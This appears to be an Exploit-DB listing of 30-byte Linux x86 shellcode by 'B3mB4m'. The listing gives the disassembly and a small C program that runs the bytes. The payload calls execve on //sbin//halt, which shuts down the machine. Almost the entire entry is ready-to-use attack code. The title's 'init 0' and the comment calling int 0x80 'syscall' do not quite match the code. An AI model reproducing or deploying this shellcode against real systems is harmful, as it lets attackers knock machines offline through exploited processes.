Linux/x86 - Shutdown(init 0) Shellcode (30 bytes)

EDB-ID:

37289

Size:

30 bytes

Author:

B3mB4m

Platform:

Linux_x86

Published:

2015-06-15

​​Linux/x86 - Shutdown(init 0) - 30 bytes

#Greetz : Bomberman(Leader)
#Author : B3mB4m

08048060 <.text>:
8048060:    31 c0
8048062:    50
8048063:    68 68 61 6c 74           push   $0x746c6168
8048068:    68 69 6e 2f 2f           push   $0x2f2f6e69
804806d:    68 2f 2f 73 62           push   $0x62732f2f
8048072:    89 e3
8048074:    50
8048075:    89 e2
8048077:    53
8048078:    89 e1
804807a:    b0 0b                    ;execve //sbin//halt
804807c:    cd 80                    syscall

#include <stdio.h>
#include <string.h>

char *diebich =
"\x31\xc0\x50\x68\x68\x61\x6c\x74\x68\x69\x6e\x2f\x2f\x68\x2f\x2f\x73\x62\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void){
    fprintf(stdout,"Length: %d\n",strlen(diebich));
    (*(void(*)()) diebich)();}